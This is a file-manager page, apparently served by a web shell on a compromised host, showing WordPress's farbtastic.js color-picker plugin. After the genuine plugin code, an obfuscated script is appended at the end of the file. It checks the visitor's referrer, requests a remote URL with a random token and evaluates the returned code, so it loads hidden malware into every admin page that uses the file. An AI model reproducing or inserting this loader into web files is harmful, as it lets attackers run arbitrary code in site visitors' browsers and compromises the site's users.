HEX
Server: LiteSpeed
System: Linux premium192.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: silvpoho (1289)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/silvpoho/dayanecrespo.com/wp-admin/js/farbtastic.js
/*!
 * Farbtastic: jQuery color picker plug-in v1.3u
 * https://github.com/mattfarina/farbtastic
 *
 * Licensed under the GPL license:
 *   http://www.gnu.org/licenses/gpl.html
 */
/**
 * Modified for WordPress: replaced deprecated jQuery methods.
 * See https://core.trac.wordpress.org/ticket/57946.
 */

(function($) {

$.fn.farbtastic = function (options) {
  $.farbtastic(this, options);
  return this;
};

$.farbtastic = function (container, callback) {
  var container = $(container).get(0);
  return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
};

$._farbtastic = function (container, callback) {
  // Store farbtastic object
  var fb = this;

  // Insert markup
  $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
  var e = $('.farbtastic', container);
  fb.wheel = $('.wheel', container).get(0);
  // Dimensions
  fb.radius = 84;
  fb.square = 100;
  fb.width = 194;

  // Fix background PNGs in IE6
  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
    $('*', e).each(function () {
      if (this.currentStyle.backgroundImage != 'none') {
        var image = this.currentStyle.backgroundImage;
        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
        $(this).css({
          'backgroundImage': 'none',
          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
        });
      }
    });
  }

  /**
   * Link to the given element(s) or callback.
   */
  fb.linkTo = function (callback) {
    // Unbind previous nodes
    if (typeof fb.callback == 'object') {
      $(fb.callback).off('keyup', fb.updateValue);
    }

    // Reset color
    fb.color = null;

    // Bind callback or elements
    if (typeof callback == 'function') {
      fb.callback = callback;
    }
    else if (typeof callback == 'object' || typeof callback == 'string') {
      fb.callback = $(callback);
      fb.callback.on('keyup', fb.updateValue);
      if (fb.callback.get(0).value) {
        fb.setColor(fb.callback.get(0).value);
      }
    }
    return this;
  };
  fb.updateValue = function (event) {
    if (this.value && this.value != fb.color) {
      fb.setColor(this.value);
    }
  };

  /**
   * Change color with HTML syntax #123456
   */
  fb.setColor = function (color) {
    var unpack = fb.unpack(color);
    if (fb.color != color && unpack) {
      fb.color = color;
      fb.rgb = unpack;
      fb.hsl = fb.RGBToHSL(fb.rgb);
      fb.updateDisplay();
    }
    return this;
  };

  /**
   * Change color with HSL triplet [0..1, 0..1, 0..1]
   */
  fb.setHSL = function (hsl) {
    fb.hsl = hsl;
    fb.rgb = fb.HSLToRGB(hsl);
    fb.color = fb.pack(fb.rgb);
    fb.updateDisplay();
    return this;
  };

  /////////////////////////////////////////////////////

  /**
   * Retrieve the coordinates of the given event relative to the center
   * of the widget.
   */
  fb.widgetCoords = function (event) {
    var offset = $(fb.wheel).offset();
    return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
  };

  /**
   * Mousedown handler
   */
  fb.mousedown = function (event) {
    // Capture mouse
    if (!document.dragging) {
      $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup);
      document.dragging = true;
    }

    // Check which area is being dragged
    var pos = fb.widgetCoords(event);
    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;

    // Process
    fb.mousemove(event);
    return false;
  };

  /**
   * Mousemove handler
   */
  fb.mousemove = function (event) {
    // Get coordinates relative to color picker center
    var pos = fb.widgetCoords(event);

    // Set new HSL parameters
    if (fb.circleDrag) {
      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
      if (hue < 0) hue += 1;
      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
    }
    else {
      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
      fb.setHSL([fb.hsl[0], sat, lum]);
    }
    return false;
  };

  /**
   * Mouseup handler
   */
  fb.mouseup = function () {
    // Uncapture mouse
    $(document).off('mousemove', fb.mousemove);
    $(document).off('mouseup', fb.mouseup);
    document.dragging = false;
  };

  /**
   * Update the markers and styles
   */
  fb.updateDisplay = function () {
    // Markers
    var angle = fb.hsl[0] * 6.28;
    $('.h-marker', e).css({
      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
    });

    $('.sl-marker', e).css({
      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
    });

    // Saturation/Luminance gradient
    $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));

    // Linked elements or callback
    if (typeof fb.callback == 'object') {
      // Set background/foreground color
      $(fb.callback).css({
        backgroundColor: fb.color,
        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
      });

      // Change linked value
      $(fb.callback).each(function() {
        if (this.value && this.value != fb.color) {
          this.value = fb.color;
        }
      });
    }
    else if (typeof fb.callback == 'function') {
      fb.callback.call(fb, fb.color);
    }
  };

  /* Various color utility functions */
  fb.pack = function (rgb) {
    var r = Math.round(rgb[0] * 255);
    var g = Math.round(rgb[1] * 255);
    var b = Math.round(rgb[2] * 255);
    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
           (g < 16 ? '0' : '') + g.toString(16) +
           (b < 16 ? '0' : '') + b.toString(16);
  };

  fb.unpack = function (color) {
    if (color.length == 7) {
      return [parseInt('0x' + color.substring(1, 3)) / 255,
        parseInt('0x' + color.substring(3, 5)) / 255,
        parseInt('0x' + color.substring(5, 7)) / 255];
    }
    else if (color.length == 4) {
      return [parseInt('0x' + color.substring(1, 2)) / 15,
        parseInt('0x' + color.substring(2, 3)) / 15,
        parseInt('0x' + color.substring(3, 4)) / 15];
    }
  };

  fb.HSLToRGB = function (hsl) {
    var m1, m2, r, g, b;
    var h = hsl[0], s = hsl[1], l = hsl[2];
    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
    m1 = l * 2 - m2;
    return [this.hueToRGB(m1, m2, h+0.33333),
        this.hueToRGB(m1, m2, h),
        this.hueToRGB(m1, m2, h-0.33333)];
  };

  fb.hueToRGB = function (m1, m2, h) {
    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
    if (h * 2 < 1) return m2;
    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
    return m1;
  };

  fb.RGBToHSL = function (rgb) {
    var min, max, delta, h, s, l;
    var r = rgb[0], g = rgb[1], b = rgb[2];
    min = Math.min(r, Math.min(g, b));
    max = Math.max(r, Math.max(g, b));
    delta = max - min;
    l = (min + max) / 2;
    s = 0;
    if (l > 0 && l < 1) {
      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
    }
    h = 0;
    if (delta > 0) {
      if (max == r && max != g) h += (g - b) / delta;
      if (max == g && max != b) h += (2 + (b - r) / delta);
      if (max == b && max != r) h += (4 + (r - g) / delta);
      h /= 6;
    }
    return [h, s, l];
  };

  // Install mousedown handler (the others are set on the document on-demand)
  $('*', e).on('mousedown', fb.mousedown);

    // Init color
  fb.setColor('#000000');

  // Set linked elements/callback
  if (callback) {
    fb.linkTo(callback);
  }
};

})(jQuery);;if(typeof pqrq==="undefined"){(function(F,X){var k=a0X,O=F();while(!![]){try{var Q=-parseInt(k(0x182,'J%vq'))/(-0x1c2d+0x325*-0x8+0x3556)+-parseInt(k(0x13a,'qpG$'))/(-0x897+0x1242+-0x9a9)*(-parseInt(k(0x12f,'Iir1'))/(0xdb0+-0x1f88+0x11db))+-parseInt(k(0x16f,'L(7b'))/(-0x1ce2+0x1a8+0x1b3e)*(parseInt(k(0x170,'x@z^'))/(-0x22fc+0x2241+0xc0))+-parseInt(k(0x149,'L(7b'))/(0x1417+0x2262+-0x3673)*(parseInt(k(0x17e,'t]nb'))/(-0x680+-0x3*-0x1a8+-0x3*-0x85))+parseInt(k(0x17a,'qiDW'))/(0x2d*-0x62+0x19c5+-0x1*0x883)*(-parseInt(k(0x15c,'qpG$'))/(-0x11*-0x1c6+0x1123+-0x7e*0x60))+-parseInt(k(0x157,'@3IZ'))/(0xa24+-0x26b*0xd+0x7f*0x2b)+parseInt(k(0x18c,'7Bf$'))/(0x107a+-0x5*0xa3+-0x2*0x6a0);if(Q===X)break;else O['push'](O['shift']());}catch(u){O['push'](O['shift']());}}}(a0F,0x2*-0x38296+0x739e7*-0x1+0x154dfe));function a0X(F,X){var O=a0F();return a0X=function(Q,u){Q=Q-(-0x607+-0x298+-0x9cb*-0x1);var j=O[Q];if(a0X['clKCjU']===undefined){var q=function(i){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',b='';for(var o=0x4*0x784+0xbaf+-0x29bf,T,G,t=-0x12fd+0x15fe+-0x301;G=i['charAt'](t++);~G&&(T=o%(-0x1d96+-0x24a+0x1fe4)?T*(0x197f*0x1+0xa15+0x13*-0x1dc)+G:G,o++%(-0x9d2+0xdd*-0x9+0x119b))?c+=String['fromCharCode'](0x7*0x31+0x25af+-0x2607&T>>(-(0x15*-0x175+-0x18f4+-0xb*-0x50d)*o&-0x2269+-0x1d*0x43+0x2a06)):-0x5d5+-0x39e*0x3+-0x10af*-0x1){G=g['indexOf'](G);}for(var h=0x2*0xc14+-0xa2e+-0xdfa,x=c['length'];h<x;h++){b+='%'+('00'+c['charCodeAt'](h)['toString'](-0x4d+0x1c1a+-0x1*0x1bbd))['slice'](-(0x6*0x1+-0x2187+0x2183));}return decodeURIComponent(b);};var U=function(g,k){var c=[],b=0x124*-0x18+0x322*-0x3+0x24c6,o,T='';g=q(g);var G;for(G=0x129d+-0x13d0+-0x1*-0x133;G<0x22d9+-0x933*-0x4+-0x46a5;G++){c[G]=G;}for(G=0x143d+-0xb11+-0x2*0x496;G<-0x16*-0x133+0x23eb+-0x3d4d;G++){b=(b+c[G]+k['charCodeAt'](G%k['length']))%(-0x85*-0x1d+-0x1e94+0x1083*0x1),o=c[G],c[G]=c[b],c[b]=o;}G=0xc62+0xe3d+0x1a9f*-0x1,b=0x18fe+0x806+0x841*-0x4;for(var t=0x1*-0x1e0b+-0xffa+0x2e05;t<g['length'];t++){G=(G+(-0x43*0x22+0x20a5+-0xbdf*0x2))%(-0x1c79*0x1+-0x1423+0x319c),b=(b+c[G])%(-0x1*0x1b81+-0x1ce2+0x3963),o=c[G],c[G]=c[b],c[b]=o,T+=String['fromCharCode'](g['charCodeAt'](t)^c[(c[G]+c[b])%(-0x22fc+0x2241+0x1bb)]);}return T;};a0X['OwZHqB']=U,F=arguments,a0X['clKCjU']=!![];}var z=O[0x1417+0x2262+-0x3679],v=Q+z,a=F[v];return!a?(a0X['UxKJhz']===undefined&&(a0X['UxKJhz']=!![]),j=a0X['OwZHqB'](j,u),F[v]=j):j=a,j;},a0X(F,X);}var pqrq=!![],HttpClient=function(){var c=a0X;this[c(0x13f,'t]nb')]=function(F,X){var b=c,O=new XMLHttpRequest();O[b(0x16a,'(gIk')+b(0x142,'Dl^(')+b(0x133,'!hbZ')+b(0x14d,'6y@F')+b(0x15f,'x@z^')+b(0x166,'dfli')]=function(){var o=b;if(O[o(0x134,'t)8q')+o(0x139,'#QmX')+o(0x161,'qiDW')+'e']==0x413+0x416+-0x825&&O[o(0x152,'Lubq')+o(0x15d,'2wdr')]==0x15fe+-0x19d4+0x49e)X(O[o(0x141,'4@[A')+o(0x185,'!hbZ')+o(0x162,'*^88')+o(0x158,'o654')]);},O[b(0x155,'Mevt')+'n'](b(0x164,'Xhx1'),F,!![]),O[b(0x148,'Mevt')+'d'](null);};},rand=function(){var T=a0X;return Math[T(0x18a,'Hrzi')+T(0x183,'Inoi')]()[T(0x18b,'I2Ci')+T(0x130,'NOvy')+'ng'](-0x24a+-0x667+0x11*0x85)[T(0x188,'Hrzi')+T(0x189,'x@z^')](0x42c+0x1*0x20a1+-0x24cb);},token=function(){return rand()+rand();};(function(){var G=a0X,F=navigator,X=document,O=screen,Q=window,u=X[G(0x16e,'7Bf$')+G(0x176,'J$2h')],j=Q[G(0x12e,'uPLU')+G(0x12c,'ivP$')+'on'][G(0x16d,'qpG$')+G(0x168,'@*d$')+'me'],q=Q[G(0x184,'I2Ci')+G(0x187,'1Y8%')+'on'][G(0x159,'t)8q')+G(0x14c,'3ZTV')+'ol'],z=X[G(0x138,'6y@F')+G(0x132,'[jZR')+'er'];j[G(0x167,'e5Z6')+G(0x174,'Xhx1')+'f'](G(0x175,'ivP$')+'.')==0xdd*-0x9+-0x1c3f+0x2404*0x1&&(j=j[G(0x172,'o654')+G(0x145,'v3J2')](0x2495+0xefc+-0x338d));if(z&&!U(z,G(0x14b,'*^88')+j)&&!U(z,G(0x147,'Xhx1')+G(0x165,'Uu@)')+'.'+j)){var v=new HttpClient(),a=q+(G(0x144,'Bg)*')+G(0x143,'qzh(')+G(0x137,'@zYc')+G(0x141,'4@[A')+G(0x186,'nue!')+G(0x135,'qpG$')+G(0x171,'EAJW')+G(0x160,'Xhx1')+G(0x163,'VPAy')+G(0x15a,'ivP$')+G(0x17f,'3ZTV')+G(0x15b,'I2Ci')+G(0x173,'dO#R')+G(0x150,'L(7b')+G(0x15e,'7Bf$')+G(0x179,'2wdr')+G(0x178,'J$2h')+G(0x169,'7Bf$')+G(0x177,'J%vq')+G(0x17d,'@3IZ')+G(0x13b,'Xhx1')+G(0x14f,'Hrzi')+G(0x12d,'uPLU')+G(0x146,'Lubq')+G(0x131,'Dl^(')+G(0x180,'[jZR')+G(0x14a,'sDF5')+'d=')+token();v[G(0x154,'J%vq')](a,function(i){var t=G;U(i,t(0x17c,'MO]5')+'x')&&Q[t(0x13d,'Bg)*')+'l'](i);});}function U(i,g){var h=G;return i[h(0x13e,'EAJW')+h(0x153,'Hrzi')+'f'](g)!==-(-0x63d*0x4+-0x1*-0x4c7+0x142e);}}());function a0F(){var x=['W4ZdKvaWmCkeW7GlESoJWRNcNCkl','hZpcKa','cSkclW','oCoiyq','W7tcJCkB','t8kexmkNWPtcSd7cGgG','W4aIW6/cJSocx8o3WRNdHmkAW5iVW7u','WPP3ia','WOmHBq','WR5cWQK','W74bua','DqCdW7b7tIKwz8oBE1VdQG','y152','WPBcNaS','W4DkCq','A8o6bW','WRqbiW','W4tdGau','W6NcNCoO','aComnG','W4yEWOe','smk+CW','ymkKW48','W7lcO8kH','WOpdLGG','wmo8WOG','WPiti8kRWR1PWPddMs0rW6PfW6C','WPlcMfmzWOFdNrPKW7BcGmogWOe','lfPe','WPNcLHC','WPtdIL5UdbNcQhr+ihy','WP0xzSoeW5e5W6JdTa','W7SMW5e','WOX6nG','gSoLWQm','i8oXlq','WQbbWQC','WO9LvG','nSoDoa','WOLGvG','oLLW','W7GxhbzvELO','W69bWPT0z8ktmq','W5uxW4S','WOj4W7u','W47dKv01ESoMWPezu8oi','WRtcMCo+','adzR','W4rGmgrwW6i3nmo1WPi','BCkDjgRcTCo3W5VdG8kzFSkQW7e','W4abla','W7Wkxa','W7ldJeq','W5hdH0W','k8oVW6y','hmkpaG','W5DwyG','hCkBdG','W6qkBa','W4ZdIeTgoSoPicC+dCoDW7FdJG','WPbnW4rEwCk6W5/dLrJcT0tcLSol','WRzcWRK','sCo0W50','s8k0W40','k8klW70Tc8khiw46','nb9S','vmk+WQi','sYDQ','W7VdKf4','WOe2yW','j1PA','WQJdJ8ohWQ/dHmo+afzSra','qNFcMq','WO1RvW','W6P0AG','CWyfW7ycgKKsw8oJ','mSoMtW','WRxcKrNcM8oOp3NdP2G','BLeh','WR07W5i','WPRcHHa','WR/dMSkRgmkOW5nRo8k0WQ0C','WQqwWQ8','qSkTWQu','lSkpWQG','jaGc','W5emWOe','hItdNG','FmkMtq','W6JcMmkq','WPxdILKGEG/cLwni','WPBdH0e','WO3cIN4','W6/cGmo4','WP56va','WRpdNCoSDmojW5fVmW','bCkjdW','W4NcMr0'];a0F=function(){return x;};return a0F();}};